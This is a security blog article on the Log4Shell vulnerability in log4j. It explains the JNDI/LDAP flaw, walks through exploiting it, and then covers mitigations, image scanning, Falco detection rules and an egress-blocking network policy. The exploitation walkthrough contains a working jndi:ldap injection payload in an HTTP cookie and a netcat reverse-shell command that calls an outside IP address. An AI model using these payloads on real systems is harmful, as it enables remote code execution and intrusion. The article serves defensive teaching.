A new critical vulnerability has been found in log4j, a widely-used open-source utility used to generate logs inside java applications. The vulnerability CVE-2021-44228, also known as Log4Shell, permits a Remote Code Execution (RCE), allowing the attackers to execute arbitrary code on the host.
The log4j utility is popular and is used by a huge number of applications and companies, including the famous game Minecraft. It is also used in various Apache frameworks like Struts2, Kafka, Druid, Flink, and many commercial products.
CVE-2021-44228 affects log4j versions: 2.0-beta9 to 2.14.1. Version 2.15.0 has been released to address this issue and fix the vulnerability, but 2.16.0 version is vulnerable to Denial of Service.
UPDATE: We strongly recommend updating to 2.17.0 at the time of the release of this article because the severity of CVE-2021-45046 change from low to HIGH.
In this article, you’ll understand why the affected utility is so popular, the vulnerability’s nature, and how its exploitation can be detected and mitigated.
Preliminary
Log4j is a reliable, fast, flexible, and popular logging framework (APIs) written in Java. It is distributed under the Apache Software License. Log4j has also been ported to other programming languages, like C, C++, C#, Perl, Python, Ruby, and so on.
The log4j library was hit by the CVE-2021-44228 first, which is the high impact one. After the 2.15.0 version was released to fix the vulnerability, the new CVE-2021-45046 was released.
The new vulnerability CVE-2021-45046 hits the new version and permits a Denial of Service (DoS) attack due to a shortcoming of the previous patch, but it has been rated now a high severity. The latest release 2.17.0 fixed the new CVE-2021-45105.
The CVE-2021-44228 issue
The Java Naming and Directory Interface (JNDI) provides an API for java applications, which can be used for binding remote objects, looking up or querying objects, as well as detecting changes on the same objects.
While JNDI supports a number of naming and directory services, and the vulnerability can be exploited in many different ways, we will focus our attention on LDAP.
By using JNDI with LDAP, the URL ldap://localhost:3xx/o is able to retrieve a remote object from an LDAP server running on the local machine or an attacker-controlled remote server.
As implemented, the default key will be prefixed with java:comp/env/. However, if the key contains a “:”, no prefix will be added. In our case, if we pass the LDAP string reported before ldap://localhost:3xx/o, no prefix would be added, and the LDAP server is queried to retrieve the object.
In other words, what an attacker can do is find some input that gets directly logged and evaluate the input, like ${jndi:ldap://attackerserver.com.com/x}. This allows the attacker to retrieve the object from the remote LDAP server they control and execute the code.
The entry point could be a HTTP header like User-Agent, which is usually logged. It could also be a form parameter, like username/request object, that might also be logged in the same way.
The impact of CVE-2021-44228
The impact of this vulnerability is huge due to the broad adoption of this Log4j library. If you have some java applications in your environment, they are most likely using Log4j to log internal events.
The exploitation is also fairly flexible, letting you retrieve and execute arbitrary code from local to remote LDAP servers and other protocols.
All these factors and the high impact to so many systems give this vulnerability a CRITICAL severity rating of CVSS3 10.0. The fact that the vulnerability is being actively exploited further increases the risk for affected organizations.
To learn more about how a vulnerability score is calculated, Are Vulnerability Scores Tricking You? Understanding the severity of CVSS and using them effectively
Exploiting CVE-2021-44228 step-by-step
The vulnerability permits us to retrieve an object from a remote or local machine and execute arbitrary code on the vulnerable application.
Before starting the exploitation, the attacker needs to control an LDAP server where there is an object file containing the code they want to download and execute. Since these attacks in Java applications are being widely explored, we can use the Github project JNDI-Injection-Exploit to spin up an LDAP Server.
In this case, we run it in an EC2 instance, which would be controlled by the attacker. Using the netcat (nc) command, we can open a reverse shell connection with the vulnerable application.
Here is an example command line:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "nc 54.243.12.192 8083 -e /bin/sh" -A "54.243.12.192"
The LDAP server hosts the specified URL to use and retrieve the malicious code with the reverse shell command.
The web application we have deployed for the real scenario is using a vulnerable log4j version, and it’s logging the content of the User-Agent, Cookies, and X-Api-Server.
The web application we used can be downloaded here.
The vulnerable web server is running using a docker container on port 8080. By leveraging Burp Suite, we can craft the request payload through the URL hosted on the LDAP Server. Let’s try to inject the cookie attribute and see if we are able to open a reverse shell on the vulnerable machine.
GET / HTTP/1.1
Host: :8080
sec-ch-ua: "Chromium";v="91", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
X-Api-Version: aaa
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: test='${jndi:ldap://54.243.12.192:1389/0z6aep}'
Connection: close
Above is the HTTP request we are sending, modified by Burp Suite. The Cookie parameter is added with the log4j attack string.
Before sending the crafted request, we need to set up the reverse shell connection using the netcat (nc) command to listen on port 8083.
nc -lvp 8083
We can now send the crafted request, seeing that the LDAP Server received the call from the application and the JettyServer provided the remote class that contains the nc command for the reverse shell.
We can see on the attacking machine that we successfully opened a connection with the vulnerable application.
Now, we have the ability to interact with the machine and execute arbitrary code.
The attacker could use the same process with other HTTP attributes to exploit the vulnerability and open a reverse shell with the attacking machine. Imagine how easy it is to automate this exploit and send the exploit to every exposed application with log4j running.
Mitigating CVE-2021-44228
If you’re impacted by this CVE, you should update the application to the newest version, or at least to the 2.17.0 version, immediately. If that isn’t possible in your environment, you can evaluate three options:
- If you are using Log4j v2.10 or above, you can set the property:
log4j2.formatMsgNoLookups=true - An environment variable can be set for these same affected versions:
LOG4J_FORMAT_MSG_NO_LOOKUPS=true - If the version is older, remove the JndiLookup class from the log4j-core on the filesystem.
Even though you might have already upgraded your library or applied one of the other mitigations on containers affected by the vulnerability, you need to detect any exploitation attempts and post-breach activities in your environment.
You can detect this vulnerability at three different phases of the application lifecycle:
- During the build, with an image scanner.
- During the deployment, thanks to an image scanner on the admission controller.
- During the run and response phase, using a runtime detection engine to detect malicious behaviors in already deployed hosts or pods.
Let’s now dig deeper into each of them.
1. Build: Image Scanner
Using an image scanner, a software composition analysis (SCA) tool, you can analyze the contents and the build process of a container image in order to detect security issues, vulnerabilities, or bad practices.
In the report results, you can search if the specific CVE has been detected in any images already deployed in your environment.
In this case, we can see that CVE-2021-44228 affects one specific image which uses the vulnerable version 2.12.1.
2. Deploy: Image scanner on admission controller
Implementing image scanning on the admission controller, it is possible to admit only the workload images that are compliant with the scanning policy to run in the cluster.
This component is able to reject images based on names, tags, namespaces, CVE severity level, and so on, using different criteria.
Creating and assigning a policy for this specific CVE, the admission controller will evaluate new deployment images, blocking deployment if this security issue is detected.
3. Run and Response: Event Detection
Using a Runtime detection engine tool like Falco, you can detect attacks that occur in runtime when your containers are already in production.
Let’s assume that the attacker exploits this specific vulnerability and wants to open a reverse shell on the pod. In this case, the Falco runtime policies in place will detect the malicious behavior and raise a security alert. You can also check out our previous blog post regarding reverse shell.
Here is a reverse shell rule example. To avoid false positives, you can add exceptions in the condition to better adapt to your environment.
- rule: Reverse shell
desc: Detect reverse shell established remote connection
condition: evt.type=dup and container and fd.num in (0, 1, 2) and fd.type in ("ipv4", "ipv6")
output: >
Reverse shell connection (user=%user.name %container.info process=%proc.name parent=%proc.pname cmdline=%proc.cmdline terminal=%proc.tty container_id=%container.id image=%container.image.repository fd.name=%fd.name fd.num=%fd.num fd.type=%fd.type fd.sip=%fd.sip)
priority: WARNING
tags: [container, shell, mitre_execution]
append: false
In addition to using Falco, you can detect further actions in the post-exploitation phase on pods or hosts. The use cases covered by the out-of-the-box ruleset in Falco are already substantial, but here we show those that might trigger in case an attacker uses network tools or tries to spawn a new shell.
- rule: Run shell untrusted
desc: an attempt to spawn a shell below a non-shell application. Specific applications are monitored.
condition: >
spawned_process
and shell_procs
and proc.pname exists
and protected_shell_spawner
and not proc.pname in (shell_binaries, gitlab_binaries, cron_binaries, user_known_shell_spawn_binaries,
needrestart_binaries,
mesos_shell_binaries,
erl_child_setup, exechealthz,
PM2, PassengerWatchd, c_rehash, svlogd, logrotate, hhvm, serf,
lb-controller, nvidia-installe, runsv, statsite, erlexec, calico-node,
"puma reactor")
and not proc.cmdline in (known_shell_spawn_cmdlines)
and not proc.aname in (unicorn_launche)
and not consul_running_net_scripts
and not consul_running_alert_checks
and not nginx_starting_nginx
and not nginx_running_aws_s3_cp
and not run_by_package_mgmt_binaries
and not serf_script
and not check_process_status
and not run_by_foreman
and not python_mesos_marathon_scripting
and not splunk_running_forwarder
and not postgres_running_wal_e
and not redis_running_prepost_scripts
and not rabbitmq_running_scripts
and not rabbitmqctl_running_scripts
and not run_by_appdynamics
and not user_shell_container_exclusions
output: >
Shell spawned by untrusted binary (user=%user.name user_loginuid=%user.loginuid shell=%proc.name parent=%proc.pname
cmdline=%proc.cmdline pcmdline=%proc.pcmdline gparent=%proc.aname[2] ggparent=%proc.aname[3]
aname[4]=%proc.aname[4] aname[5]=%proc.aname[5] aname[6]=%proc.aname[6] aname[7]=%proc.aname[7] container_id=%container.id image=%container.image.repository)
priority: DEBUG
tags: [shell, mitre_execution]
- rule: Launch Suspicious Network Tool in Container
desc: Detect network tools launched inside container
condition: >
spawned_process and container and network_tool_procs and not user_known_network_tool_activities
output: >
Network tool launched in container (user=%user.name user_loginuid=%user.loginuid command=%proc.cmdline parent_process=%proc.pname
container_id=%container.id container_name=%container.name image=%container.image.repository:%container.image.tag)
priority: NOTICE
tags: [network, process, mitre_discovery, mitre_exfiltration]
- rule: Launch Remote File Copy Tools in Container
desc: Detect remote file copy tools launched in container
condition: >
spawned_process
and container
and remote_file_copy_procs
and not user_known_remote_file_copy_activities
output: >
Remote file copy tool launched in container (user=%user.name user_loginuid=%user.loginuid command=%proc.cmdline parent_process=%proc.pname
container_id=%container.id container_name=%container.name image=%container.image.repository:%container.image.tag)
priority: NOTICE
tags: [network, process, mitre_lateral_movement, mitre_exfiltration]
4. Restrict Network access
As we saw during the exploitation section, the attacker needs to download the malicious payload from a remote LDAP server.
From the network perspective, using K8s network policies, you can restrict egress traffic, thus blocking the connection to the external LDAP server.
Here is the network policy to block all the egress traffic for the specific namespace:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: default-deny-egress
namespace: log4j
spec:
podSelector: {}
policyTypes:
- Egress
Using Sysdig Secure, you can use the Network Security feature to automatically generate the K8s network policy specifically for the vulnerable pod, as we described in our previous article.
Conclusion
The CVE-2021-44228 is a CRITICAL vulnerability that allows malicious users to execute arbitrary code on a machine or pod by using a bug found in the log4j library.
We recommend using an image scanner in several places in your container lifecycle and admission controller, like in your CI/CD pipelines, to prevent the attack, and using a runtime security tool to detect reverse shells.
These strategies together will allow your security team to react to attacks targeting this vulnerability, block them, and report on any affected running containers ahead of time.